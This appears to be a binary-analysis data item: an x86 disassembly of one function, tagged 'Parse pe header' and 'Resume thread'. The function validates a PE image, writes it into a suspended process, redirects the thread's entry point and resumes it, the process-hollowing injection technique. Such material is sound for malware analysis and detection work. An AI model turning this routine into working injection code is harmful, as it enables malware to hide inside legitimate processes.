Function at 0x41628d
Capabilities:
Parse pe header
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov eax, dword [0x4cdbf8]
xor eax, ebp
mov dword [ebp - 8], eax
and dword [ebp - 0x94], 0
mov eax, dword [0x5524ec]
push ebx
mov ebx, edx
mov dword [ebp - 0x9c], eax
push esi
push edi
test ebx, ebx
je 0x41658f
mov eax, 0x5a4d
cmp word [ebx], ax
jne 0x41658f
mov esi, dword [ebx + 0x3c]
add esi, ebx
cmp dword [esi], 0x4550
jne 0x41658f
and dword [ebp - 0x60], 0
and dword [ebp - 0x98], 0
xor eax, eax
lea edi, [ebp - 0x74]
stosd dword es:[edi], eax
push 0x44
push 0
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x5c]
push eax
call fcn.00481c10
add esp, 0xc
mov edi, dword [ebp - 0x9c]
lea eax, [ebp - 0x74]
mov ecx, str.__s___s
push eax
lea eax, [ebp - 0x5c]
push eax
xor eax, eax
push eax
push eax
push 0x8000004
push eax
push eax
push eax
push ecx
push str..rdp_RdpZapper
push edi
push ecx
push eax
push eax
call fcn.00420ad0
add esp, 0x18
push eax
push edi
call dword [0x555bd4]
test eax, eax
je 0x41655e
mov eax, dword [ebp - 0x94]
test eax, eax
je 0x416356
push 1
push eax
call dword [0x555ba8]
mov eax, dword [ebp - 0x74]
push 0x40
push 0x3000
push dword [esi + 0x50]
mov dword [ebp - 0x94], eax
push dword [esi + 0x34]
push eax
call dword [0x555bcc]
mov dword [ebp - 0x60], eax
test eax, eax
je 0x41647a
push 0
push dword [esi + 0x54]
push ebx
push eax
push dword [ebp - 0x74]
call dword [0x555bbc]
test eax, eax
je 0x416545
xor ecx, ecx
xor eax, eax
mov dword [ebp - 0x90], ecx
cmp ax, word [esi + 6]
jae 0x4163e2
lea edi, [esi + 0x10c]
mov eax, dword [edi]
push 0
push dword [edi - 4]
add eax, ebx
push eax
mov eax, dword [edi - 8]
add eax, dword [ebp - 0x60]
push eax
push dword [ebp - 0x74]
call dword [0x555bbc]
mov ecx, dword [ebp - 0x90]
test eax, eax
je 0x4163e2
movzx eax, word [esi + 6]
inc ecx
add edi, 0x28
mov dword [ebp - 0x90], ecx
cmp ecx, eax
jl 0x4163ac
movzx eax, word [esi + 6]
cmp ecx, eax
jne 0x416545
push 4
push 0x1000
push 4
push 0
call dword [0x555c28]
mov edi, eax
test edi, edi
je 0x416545
push edi
mov dword [edi], 0x10007
push dword [ebp - 0x70]
call dword [0x555bc8]
test eax, eax
je 0x416467
push 0
push 4
lea eax, [ebp - 0x60]
push eax
mov eax, dword [edi + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x74]
call dword [0x555bbc]
test eax, eax
je 0x416467
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0x60]
push edi
mov dword [edi + 0xb0], eax
push dword [ebp - 0x70]
call dword [0x555b74]
test eax, eax
je 0x416467
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
jne 0x4165a0
push 0x8000
push 0
push edi
call dword [0x555bb4]
jmp 0x416545
and dword [ebp - 0x64], 0
lea edi, [ebp - 0x8c]
and dword [ebp - 0xc], 0
xor eax, eax
push 6
pop ecx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0xc]
push eax
push 0x18
lea eax, [ebp - 0x8c]
push eax
push 0
push dword [ebp - 0x74]
call dword [0x555be4]
test eax, eax
js 0x416545
mov eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x10]
and dword [ebp - 0x10], 0
add eax, 8
push ecx
push 4
lea ecx, [ebp - 0x64]
push ecx
push eax
push dword [ebp - 0x74]
call dword [0x555bb0]
test eax, eax
je 0x416545
push dword [ebp - 0x64]
push dword [ebp - 0x74]
call dword [0x555bd0]
call fcn.00436990
test eax, eax
je 0x416545
call fcn.00436990
cmp dword [eax], 0
je 0x416545
mov eax, dword [0x4eeee0]
test eax, eax
je 0x416504
mov edi, dword [eax + 0x190]
jmp 0x41650a
mov edi, dword [0x4eeee4]
call fcn.00436990
test eax, eax
je 0x41651c
call fcn.00436990
mov eax, dword [eax]
jmp 0x41651e
xor eax, eax
mov ecx, str.Calling_NtUnmapViewOfSection_0x_08x__0x_08x_
push ecx
push dword [ebp - 0x64]
push dword [ebp - 0x74]
push ecx
push dword [0x4eeee0]
push edi
push 0
push 0x1fc3
push str.D:MyProjectsProPilotTestMain.c
push 3
call eax
add esp, 0x28
cmp dword [ebp - 0x60], 0
je 0x416564
push 0x10000
push 0
push dword [ebp - 0x60]
push dword [ebp - 0x74]
call dword [0x555c1c]
cmp dword [ebp - 0x60], 0
jne 0x41657c
mov ecx, dword [ebp - 0x98]
mov eax, ecx
inc ecx
mov dword [ebp - 0x98], ecx
cmp eax, 0x14
jl 0x4162e9
mov eax, dword [ebp - 0x94]
test eax, eax
je 0x41658f
push 1
push eax
call dword [0x555ba8]
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0047fe8c
leave
ret
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push dword [ebp - 0x70]
call dword [0x555b7c]
push 0x8000
push 0
push edi
call dword [0x555bb4]
push 0x10000
push 0
push dword [ebp - 0x60]
push dword [ebp - 0x74]
call dword [0x555c1c]
xor eax, eax
inc eax
jmp 0x416591